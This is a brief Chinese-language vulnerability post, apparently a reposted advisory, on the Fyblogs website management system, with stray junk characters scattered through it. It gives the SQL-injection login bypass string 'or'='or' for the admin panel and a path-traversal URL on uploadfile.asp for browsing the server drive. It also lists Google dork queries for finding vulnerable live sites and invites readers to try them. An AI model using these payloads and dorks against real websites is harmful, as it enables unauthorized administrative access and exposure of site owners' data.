Fyblogs网站管理系统漏洞

admin

漏洞类型： 未授权访问/权限绕过
. S* p3 t. V/ j! C: }4 m6 C
简要描述：

Fyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！

: L( W' [9 j; w" X+ {: y( e详细说明：

1 s3 C5 R% d/ `6 f% G后台万能密码 'or'='or'
, e, V8 e. h; }5 F/ i5 Z( [" T后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
) C3 A8 m/ B9 B- d0 Qadmin/uploadfile.asp?currentFolder=/upfiles/../
: N) T& a) \$ G0 R. a
漏洞证明：

谷歌：inurl:type.asp?id=1 新闻中心
9 ]" Y% a" A  R7 I8 {& W- Q' b3 S或者 ：inurl:download_ok.asp?

可以测试
" k$ n2 k' n! [
​
" H3 y0 {6 ]3 w) c" @) Q